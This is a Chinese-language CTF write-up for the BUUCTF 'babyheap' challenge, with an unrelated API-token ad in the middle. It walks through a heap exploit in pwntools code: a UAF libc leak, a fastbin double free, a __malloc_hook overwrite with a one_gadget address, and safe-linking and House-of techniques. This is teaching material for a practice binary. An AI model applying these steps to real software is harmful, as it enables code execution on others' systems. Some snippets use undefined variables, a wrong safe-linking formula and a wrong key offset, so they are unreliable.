1. 题目背景与核心考点解析
babyheap是BUUCTF平台上一道经典的堆利用题目,考察选手对ptmalloc2内存管理机制的理解和利用能力。这道题在CTF圈内被称为"堆利用启蒙教材",因为它完美涵盖了以下核心知识点:
- 堆块分配与释放的基本流程(malloc/free)
- fastbin、smallbin等bins的结构特性
- Use After Free(UAF)漏洞的利用方式
- 如何通过堆布局实现任意地址写
题目通常提供一个带有菜单的二进制程序,包含分配、编辑、释放和打印堆块的功能。漏洞点往往隐藏在编辑功能的越界写入,或是释放后未清空指针导致的UAF。
关键提示:在开始解题前,建议先用checksec检查程序保护机制。这道题通常只开启NX,意味着可以通过覆盖函数指针实现代码执行。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 环境准备与逆向分析
2.1 基础工具配置
建议使用以下工具链进行动态分析:
bash复制# 安装必备工具
sudo apt install gdb peda pwntools patchelf
# 获取题目文件
wget https://buuoj.cn/files/[题目哈希]/babyheap
chmod +x babyheap
2.2 IDA静态分析要点
用IDA打开二进制文件后,重点关注以下函数:
add(size):分配堆块的逻辑- 注意size是否有限制
- 观察是否记录分配的堆块指针
edit(index, content):编辑堆块内容- 检查是否存在堆溢出
- 是否校验index范围
delete(index):释放堆块- 是否清空指针(UAF风险)
show(index):打印堆块内容- 可能用于泄露地址
典型漏洞模式:edit函数允许写入超过申请大小的内容,或delete后show仍能访问已释放块。
3. 漏洞利用详细步骤
3.1 堆风水与地址泄露
首先通过以下操作泄露libc地址:
python复制from pwn import *
p = process('./babyheap')
context.log_level = 'debug'
# 填充tcache
for i in range(7):
add(0x80)
delete(i)
# 制造unsorted bin
add(0x500) # chunk A
add(0x20) # 防止合并
delete(0)
show(0)
# 计算libc基址
leak = u64(p.recv(6).ljust(8, b'\x00'))
libc_base = leak - 0x3ebca0
success(f"libc base: {hex(libc_base)}")
3.2 构造任意写原语
利用fastbin dup实现任意地址写:
python复制# 准备fastbin链
add(0x60) # chunk B
add(0x60) # chunk C
delete(B)
delete(C)
delete(B) # double free触发
# 修改fd指针
add(0x60) # 取出B
edit(1, p64(libc_base + 0x3ed8e8)) # 修改为__malloc_hook附近
# 分配目标地址
add(0x60) # 取出C
add(0x60) # 现在分配到hook附近
3.3 劫持控制流
最后通过覆盖hook执行system:
python复制one_gadget = libc_base + 0x4f432
edit(3, p64(one_gadget))
# 触发malloc hook
add(0x20)
p.interactive()
4. 关键技巧与避坑指南
4.1 堆布局的黄金法则
-
大小分类:
- 0x20-0x80:fastbin
- 0x90-0x400:smallbin
- 0x410+:largebin/unsortedbin
-
释放顺序:
- 连续释放两个同大小块会形成fastbin链
- 释放大块到unsortedbin会包含libc地址
4.2 常见问题排查
-
double free检测:
bash复制# 在glibc 2.32+需要绕过tcache key验证 edit(freed_chunk, b'\x00'*8) # 清空key字段 -
onegadget失效:
- 尝试不同约束条件的gadget:
bash复制
one_gadget -l 1 ./libc.so.6- 必要时通过ROP构造执行环境
-
地址对齐问题:
- __malloc_hook-0x23的错位写入
- 使用
find_fake_fast辅助计算偏移
5. 进阶利用思路
5.1 House of系列技巧
-
House of Spirit:
- 伪造fake chunk大小字段
- 释放后重新分配控制目标区域
-
House of Orange:
- 通过修改top chunk size触发sysmalloc
- 利用_IO_FILE结构体实现FSOP
5.2 现代防护绕过
针对glibc 2.32+的防护:
python复制# 绕过safe-linking
def forge_fd(addr):
return (addr >> 12) ^ target_addr
edit(freed_chunk, p64(forge_fd(target)))
6. 调试技巧实录
6.1 GDB实用命令
bash复制# 查看堆状态
heap bins
heap chunks
heap arenas
# 跟踪内存操作
watch *(0x555555757010) # 监控特定地址
catch syscall exit_group # 捕获程序退出
6.2 Pwntools调试模式
python复制# 自动附加gdb
script = '''
b *0x400A23
c
'''
p = gdb.debug('./babyheap', gdbscript=script)
7. 题目变种与扩展
如果遇到以下变种:
-
增加size限制:
- 使用off-by-one覆盖size字段
- 尝试chunk extend技巧
-
禁用某些功能:
- 没有show时考虑partial overwrite
- 通过堆喷猜测地址
-
新增保护机制:
- 开启FULL RELRO时考虑FSOP
- 有PIE时先泄露程序基址
8. 推荐练习路径
-
入门阶梯:
- how2heap全部示例
- Hitcon Training lab系列
-
中级挑战:
- LCTF2018 easy_heap
- 0ctf2018 babyheap
-
高级实战:
- Google CTF2019 malloc
- 34C3 CTF babyfengshui
9. 工具链优化建议
-
自动化脚本:
python复制class HeapHelper: def __init__(self, p): self.p = p self.chunks = [] def add(self, size): self.p.sendlineafter(b"> ", b"1") self.p.sendlineafter(b"Size: ", str(size).encode()) self.chunks.append(size) -
调试插件:
- gef的heap命令增强版
- pwndbg的vis_heap_chunks
10. 实战心得记录
-
时间管理:
- 先快速确认漏洞类型
- 优先构造地址泄露
- 最后完善exploit
-
失败处理:
- 90%的失败源于堆布局错误
- 每次操作后用gdb验证堆状态
- 保持每个步骤可单独测试
-
比赛策略:
- 准备常见结构的模板代码
- 预先编译多个版本的libc
- 编写交互式调试脚本
在实际解题过程中,我发现最有效的学习方式是:每完成一道题目后,用Markdown记录完整的利用链和关键转折点。这样积累的笔记会成为强大的知识库,比如下面这个典型的利用链模板:
code复制1. 泄露libc地址
- 创建unsorted bin
- 通过UAF/show泄露main_arena
2. 构造任意写
- fastbin dup → __malloc_hook
- 或tcache poisoning
3. 劫持控制流
- onegadget
- 或system("/bin/sh")
这种结构化的记录方式能帮助你在后续比赛中快速复现利用手法。对于babyheap这类基础题,建议至少尝试三种不同的解法(如fastbin attack、unlink、house of force等),比较它们的优缺点和适用场景。
